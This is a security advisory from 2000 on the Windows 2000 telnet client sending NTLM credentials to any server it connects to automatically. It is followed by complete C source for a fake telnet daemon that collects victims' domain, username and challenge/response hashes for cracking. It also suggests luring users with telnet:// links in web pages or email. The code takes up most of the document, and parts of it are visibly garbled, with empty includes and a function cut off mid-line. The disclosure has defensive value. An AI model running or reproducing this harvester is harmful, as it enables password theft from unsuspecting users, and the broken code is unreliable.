[ advisories | exploits | discussions | news | conventions | security tools | texts & papers ]
 main menu
- feedback
- advertising
- privacy
- FightAIDS
- newsletter
- news
 
 discussions
- read forum
- new topic
- search
 

 meetings
- meetings list
- recent additions
- add your info
 
 top 100 sites
- visit top sites
- sign up now
- members
 
 webmasters

- add your url
- add domain
- search box
- link to us

 
 projects
- our projects
- free email
 
 m4d network
- security software
- secureroot
- m4d.com
Home : Advisories : Windows 2000 Telnet.exe malicious server vulnerability

Title: Windows 2000 Telnet.exe malicious server vulnerability
Released by: Monti
Date: 14th September 2000
Printable version: Click here
Problem:

========



Windows 2000's telnet client 'telnet.exe'  supports performing NTLM

authentication using the credentials of the logged in user. If it connects

to an NTLM enabled telnet server (i.e. a Win2k server with the MS provided

telnet service) it will automatically attempt to log in with the users

credientials without prompting them for any information.



The NTLM challenge/response protocol as others have shown, is vulnerable

to brute-force cracking. L0phtCrack, with it's "sniffed NT hash cracking"

capabilities is an excellent implementation.



This behavior is seen consistently in other Microsoft written clients. IE,

Netbios Workstation (i.e. windows itself over netbios), and probably

others have and/or do automatically authenticate the user with NTLM

(and sometimes other even worse schemes) without prompting them.



NTLM challenge/response is *NOT* an iron authentication scheme, MS! Stop

trusting it so much!





Vulnerability/Exploit Description:

==================================



In short, if you can get the user or his/her machine to telnet to you with

telnet.exe, you can get ahold of enough information to

perform a brute-force/dictionary crack on their password (and find our

their Domain if they are logged into one). Even if you arent going to

crack their password, you can get entirely too much information IMO.



During my tests I discovered that IE associates the telnet:// URL with the

vulnerable telnet.exe. This opens up several possible ways to force a user

into connecting to you with a malicious HTLM web page, email message, and

so on. I would speculate that it might also be possible to force this to

happen without user intervention with javascript/activeX/java or really

creative HTLM. I try really hard not to do HTLM/web-code anymore unless

it's really necessary so I didnt test this.



Also, since NTLM relies on the server "randomly generating" an 8-byte

challenge for the authentication, we can choose our own with the code

provided and use it to pre-compute a database of encrypted passwords to

avoid even having to crack them. Also attached is a really ugly bit of

code I hobbled together a while back that can be used to do this.



Please see the exploit for technical details. I hope the ntlm structures

and functions will be useful to others in the future on their own Windows

nt/2000 projects. I have used roughly the same routines for IIS/IE-ntlm

HTTP Auth code on Unix. Please note, this code will only work on intel or

other little-endian systems right now... I didnt get any architecture

dependent byte-order logic worked in yet.





Workaround/Fix:

===============



The NTLM functionality in telnet.exe is optional, but it is enabled by

default on all W2000 installations i've seen.



To turn of NTLM in telnet, just run 'telnet.exe' without arguments which

will get you into a cli for setting/unsetting variables and so on. Then

type 'unset NTLM'. This will disable all NTLM functionality in the client,

so... if for some really ill-advised reason you want or need this

function, you're out of luck unless Microsoft comes up with something

better.





Credits:

========



I should mention that I heard at DefCON that cDc/Newhackcity had

discovered and discussed this vulnerability during one of their

presentations that I missed. I did not colaborate with them on this and

had run across it myself before vegas, but Microsoft informed me that they

had also been contacted by cDc with the same bug.

I havent seen any material from them published yet though, so as far as I

know this is the first full public disclosure.





Other credits and thanks:



DMZ, Changeling, Brent, and Nate... thanks for your help testing and

playing with this in vegas.



Ronald Tschalar for his paper at:

http://www.innovation.ch/java/ntlm.html.

As you can see in my code, I definitely made use of some of his ideas.



Paul Ashton published an material based on this same stupid behavior in IE

3.0/4.0 back in 96/97 or so and his advisories helped get me thinking

about NTLM games to play in all the new protocols it's been implemented

in.

A copy of his advisory is at:

http://www.insecure.org/sploits/winnt.automatic.authentication.html





Author:

=======



Yeza (9/2000)







--------------------------------------------------------------------------------





/* NTLM telnetD v0.8



   Snarfs NTLM challenge/response by convincing w2k telnet client to

   auto-authenticate. 

   Outputs auth-data in LophtCrack sniff format on stdout.



   compile: gcc -o w2kteld ntlm_telnetd.c

   run: ./w2kteld



   Then wait for w2k to telnet to you.

   for the impatient, there are always ways of making w2k telnet!



   proof-of-concept version. more features to be added.



   by yeza (8/2000)

*/



#include 

#include 

#include 

#include 

#include 

#include 



#define LISTEN_PORT 23

#define LISTENADDR "0.0.0.0"

#define VERBOSE 0            // 1 for verbose

#define CHALLENGE "\xde\xad\xbe\xef\xde\xad\xbe\xef"



#define MAXBUF 2048



/* Below are hardcoded telnet negotiation values.

   These are based on packet sniffs and as little decoding as possible.

   I'm lazy and this isnt really a telnet server so why muck with telnet.h?

*/



static unsigned char *srv_neg1 =

  "\xff\xfd\x25\xff\xfb\x01\xff\xfd\x03\xff\xfd\x1f\xff\xfd\x00\xff\xfb\x00";

static unsigned int srv_neg1_sz = 18;



static unsigned char *srv_neg2 = 

  "\xff\xfa\x25\x01\x0f\x00\xff\xf0";

static unsigned int srv_neg2_sz = 8;





/* Below is the hardcoded NTLM challenge.

   Change the 8-byte challenge above if you dont like the smell of 'deadbeef'

   Change the hostname if desired -- but keep tabs on hostname len, telnet hdr

   size and 'srv_fake_NTLM_challenge_sz' if you do.

*/

static unsigned char *srv_fake_NTLM_challenge =

  "\xff\xfa\x25\x02\x0f\x00\x01" /* telnet auth head                        */

  "\x38\x00\x00\x00"             /* Size of challenge token                 */

  "\x02\x00\x00\x00"             /* L int = 2 ?unknown?                     */

  "NTLMSSP\x00"                      /* Token header            START TOKEN */

  "\x02\x00\x00\x00"                 /* NTLM sequence = 2                   */

  "\x08\x00\x08\x00"                 /* hostname len (twice)                */

  "\x30\x00\x00\x00"                 /* hostname offset                     */

  "\x05\x82\x02\x00"                 /* 4-byte flags                        */

  CHALLENGE                          /* 8-byte challenge                    */

  "\x00\x00\x00\x00\x00\x00\x00\x00" /* unused                              */

  "\x00\x00\x00\x00"                 /* unused len                          */

  "\x38\x00\x00\x00"                 /* unused offset                       */

  "D\x00O\x00I\x00T\x00"             /* hostname "DOIT"(u-code)   END TOKEN */

  "\xff\xf0"                     /* telnet auth tail                        */

  ;

static unsigned int srv_fake_NTLM_challenge_sz = 73;





int printhexdump (unsigned char *buf, int len) 

{

     int i;

     for(i=0; i < len; i++) {

         fprintf (stderr, "%02x ", buf[i]);

     }

     fprintf (stderr, "\n");

     return (i);

}



void 

cphex (unsigned char *dest, unsigned char *src, unsigned int dlen)

{

    int i;

    for (i=0; i < dlen; i+=2)

    {

        snprintf ((char *)(dest+i), 3,"%02x", src[(i/2)]); 

    }



}



void dropconn (int sock) {

     close(sock);

     fprintf(stderr, "\nConnection Closed\n");

}



/* Structure to hold snarfed auth. information */

struct client_info {

    unsigned char user[128];

    unsigned char dom[128];

    unsigned char host[128];

    unsigned char ipaddr[16];

    unsigned char chal[17];

    unsigned char lmh[49];

    unsigned char nth[49];

} cli_info;





/* NTLM TOKEN HEADERS */



/* Request token header structure  */

/* 32 bytes for this header */

struct reqtoken

{

    unsigned char       protocol[8];     // "NTLMSSP\0"

    unsigned int        type;            // 1

    unsigned char       flags[4];        // NTLM flags

    unsigned short      dlen,dlen2;      // Domain length

    unsigned int        dpos;            // Domain position

    unsigned short      hlen,hlen2;      // Hostname length

    unsigned int        hpos;            // Hostname position

    //          unicode domain   (variable length)

    //          unicode hostname (variable length)

};



/* Challenge token header structure */

/* 48 bytes for this header  */

struct chaltoken

{

    unsigned char       protocol[8];     // "NTLMSSP\0"

    unsigned int        type;            // 2

    unsigned short      hlen,hlen2;      // Hostname length

    unsigned int        hpos;            // Hostname position

    unsigned char       flags[4];        // NTLM flags

    unsigned char       chal[8];         // 8-byte NTLM Challenge

    unsigned short      nl,nl2;          // unused length

    unsigned int        np;              // unused position

    unsigned short      tl,tl2;          // unknown, possibly unused

    unsigned int        tlen;            // Total length of token.

    //          unicode hostname (variable length)

    //          unused string... does appear to be used by w2k telnetd

};





/* Response token header structure */

/* 64 bytes for this header */

struct resptoken

{

    unsigned char       protocol[8];     // "NTLMSSP\0"

    unsigned int        type;            // 3

    unsigned short      lmrlen,lmrlen2;  // LM hash response length (24 always)

    unsigned int        lmrpos;          // LM hash response position

    unsigned short      ntrlen,ntrlen2;  // NT hash response length (24 always)

    unsigned int        ntrpos;          // NT hash response position

    unsigned short      dlen,dlen2;      // Domain length

    unsigned int        dpos;            // Domain position

    unsigned short      ulen,ulen2;      // Username length

    unsigned int        upos;            // Username position

    unsigned short      hlen,hlen2;      // Hostname length

    unsigned int        hpos;            // Hostname position

    unsigned short      tl,tl2;          // unknown, presumably unused

    unsigned int        tlen;            // Total length of token

    unsigned char       flags[4];        // NTLM flags

    //          unicode domain   (variable length)

    //          unicode user     (variable length)

    //          unicode hostname (variable length)

    //          lm hash response (24-bytes)

    //          nt hash response (24-bytes)



};





/* Stupid little Unicode helper */

int

lame_ucode(unsigned char *dst, unsigned char *src, int len)

{

    int i;

    for(i=0;iupos, 

                 rp->ulen, sizeof(cli_info.user));

    lame_deucode(cli_info.host, (unsigned char *) rp+rp->hpos, 

                 rp->hlen, sizeof(cli_info.host));

    lame_deucode(cli_info.dom, (unsigned char *) rp+rp->dpos, 

                 rp->dlen, sizeof(cli_info.dom));

    cphex(cli_info.lmh, (unsigned char*) rp+rp->lmrpos, 48);

    cphex(cli_info.nth, (unsigned char*) rp+rp->ntrpos, 48);



}



/* gettoken



   Check 'len' bytes from 'src' as an NTLM token 

   fork get_resptoken depending on type.

   Returns 0 if everything looks good.

*/

int

gettoken (unsigned char *src, unsigned int len)

{

    struct chaltoken *srctk = (struct chaltoken *) src;

    unsigned int type = *(src+8);



    /* check protocol */

    if ((strncmp(src, "NTLMSSP\0", 8)) || (type > 3))

         return (-1);



    if(type == 1) 

    {

        fprintf(stderr, "Got NTLM request token\n");

        return(0);

    }

    else if(type == 3)

    {

        if(len > (sizeof(struct resptoken)) + 48) {

            fprintf(stderr, "Got NTLM response token\n");

            get_resptoken(src,len);

        } else {

            return(-1);

        }



    } else {

        fprintf(stderr, "Type 2 not handled\n");

        return(-1);

    }



    return(0);

}



void

usage(unsigned char *progname) {

     fprintf(stderr, 

             "Usage: %s [options]\n", progname);

     fprintf(stderr,

             "           -v        verbose\n"

             "           -l port   listen on 'port'\n"

             "           -h        help\n");



     exit(1);

}



int

main(int argc, char **argv)

{

     struct sockaddr_in server, client;

     unsigned int lsock, o; 

     unsigned int port = LISTEN_PORT;

     unsigned int verbose = VERBOSE;

     ssize_t rlen, ctklen;

     unsigned char rbuf[MAXBUF];

     unsigned char ntlm_challenge[8] = CHALLENGE;



     cphex(cli_info.chal, ntlm_challenge, 16);



     fprintf(stderr,"[ Fake NTLM Telnet Daemon - by yeza ]\n");



     while ((o = getopt(argc, argv, "vl:h")) != -1) {

         switch(o) {

           case 'v':

                   ++verbose;

                   break;

           case 'l':

                   if(optarg) {

                       port = atoi(optarg);

                       break;

                   } else {

                       usage(argv[0]);

                   }

           case 'h':

                   usage(argv[0]);

         }

     }





     lsock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

     if (lsock < 0) {

         fprintf(stderr, "Cannot create listening socket: %m\n");

         exit(1);

     }



     server.sin_family = AF_INET;

     server.sin_addr.s_addr = inet_addr(LISTENADDR);

     server.sin_port = htons(port);



     if (bind(lsock, (struct sockaddr *) &server, sizeof(server)) < 0) {

         fprintf(stderr, "Cannot bind socket: %m\n");

         close(lsock);

         exit(1);

     }



     listen(lsock, 200);



     fprintf(stderr, "Listening on port %d\n", ntohs(server.sin_port));

     fprintf(stderr, "Awaiting connections\n\n");



     while (1) {

         int csock, cl_addrlen;

         unsigned int reqlen, resplen;



         if((csock = accept(lsock, 0, 0)) < 0) {

             fprintf(stderr, "Cannot accept socket: %m\n");

             continue;

         }



         cl_addrlen = sizeof(client);



         if(getpeername(csock, &client, &cl_addrlen) < 0) {

             fprintf(stderr, "Cannot get peer name of remote host: %m\n");

             dropconn(csock);

             continue;

         }



         fprintf(stderr, "Connection from: %s\n", 

                (char *) inet_ntoa(client.sin_addr.s_addr));



         strncpy(cli_info.ipaddr,(char *)inet_ntoa(client.sin_addr.s_addr), 15);



         /* ============ This begins our telnet auth handshake ===============*/



         /* server sends: (srv_neg1)

            DO AUTHENTICATION, WILL ECHO, DO SUPPRESS GO AHEAD, DO NAWS, 

            DO BINARY, WILL BINARY

          */

         send(csock, (char *) srv_neg1, srv_neg1_sz, 0);





         /* client sends back: 

            WILL AUTHENTICATION

          */

         rlen = recv(csock, (char *) rbuf, MAXBUF, 0);



         if(verbose>0){

             fprintf(stderr, "\n%d byte response to neg1 =\n", rlen );

             printhexdump(rbuf, rlen);

         }



         if(strncmp(rbuf, "\xff\xfb\x25", 3) != 0) { //just check first 3 bytes

             fprintf(stderr, "Wrong telnet neg1 response from client\n");

             dropconn(csock);

             continue;

         }

         memset(rbuf, '\0', MAXBUF);rlen=0;





         /* server sends: (srv_neg2)

            SB AUTHENTICATION SEND ... SE

           */

         send(csock, (char *) srv_neg2, srv_neg2_sz, 0);





         rlen = recv(csock, (char *) rbuf, MAXBUF, 0);

         if(verbose>0) {

             fprintf(stderr, "\n%d byte response to neg2 =\n", rlen );

             printhexdump(rbuf, rlen);

         }



         if(strncmp(rbuf, "\xff\xfd", 2) != 0) {

             fprintf(stderr, "Wrong telnet neg2 response from client\n");

             dropconn(csock);

             continue;

         }

         memset(rbuf, '\0', MAXBUF); rlen=0;





         /* Receive what should be the NTLM Request Token */



         rlen = recv(csock, (char *) rbuf, MAXBUF, 0);



         if(verbose>0) {

             fprintf(stderr, "\nReceived %d byte request token =\n", rlen );

             printhexdump(rbuf, rlen);

         }

         if(gettoken( rbuf+15, *(rbuf+7)) != 0) {

             fprintf(stderr, "Doesnt look like a NTLM request token.\n");

             dropconn(csock);

             continue;

         }

         memset(rbuf, '\0', MAXBUF);rlen=0;





         /* Send NTLM Challenge Token */

         fprintf (stderr, "Sending NTLM challenge token\n");

         if(verbose>0) {

             printhexdump(srv_fake_NTLM_challenge, srv_fake_NTLM_challenge_sz);

         }



         send(csock, (char *) srv_fake_NTLM_challenge, 

                     srv_fake_NTLM_challenge_sz, 

                     0);





         /* Receive what should be the NTLM Response Token */

         rlen = recv(csock, (char *) rbuf, MAXBUF, 0);



         if(verbose>0) {

             fprintf(stderr, "\n%d byte response to challenge=\n", rlen );

             printhexdump(rbuf, rlen);

             fprintf(stderr, "\n");

         }

         if(gettoken(rbuf+15, *(rbuf+7)) != 0) {

             fprintf(stderr, "Doesnt look like a NTLM request token.\n");

             dropconn(csock);

             continue;

         }



         memset(rbuf, '\0', MAXBUF);rlen=0;





         /* Were done with this victim */

         dropconn(csock);



         fprintf(stdout, "%s\\%s@%s/%s:3:%s:%s:%s\n",

                         cli_info.dom,

                         cli_info.user,

                         cli_info.ipaddr,

                         cli_info.host,

                         cli_info.chal,

                         cli_info.lmh,

                         cli_info.nth);

         fflush(stdout);

     }



     

     close(lsock);

     return(0);

}












(C) 1999-2000 All rights reserved.